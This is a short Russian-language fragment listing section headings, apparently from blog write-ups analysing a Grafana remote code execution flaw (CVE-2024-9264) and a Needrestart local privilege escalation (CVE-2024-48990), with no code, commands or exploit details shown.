Описание уязвимости

Подготовка стенда

Разбор уязвимости

Реализация уязвимости

Заключение

Уязвимость CVE-2024-9264: Удаленное выполнение кода в Grafana через SQL-выражения

Введение

Описание уязвимости

Подготовка стендового окружения

Создание пользователя

Разбор уязвимости

Заключение

Linux LPE через Needrestart (CVE-2024-48990)

Введение

Что такое Needrestart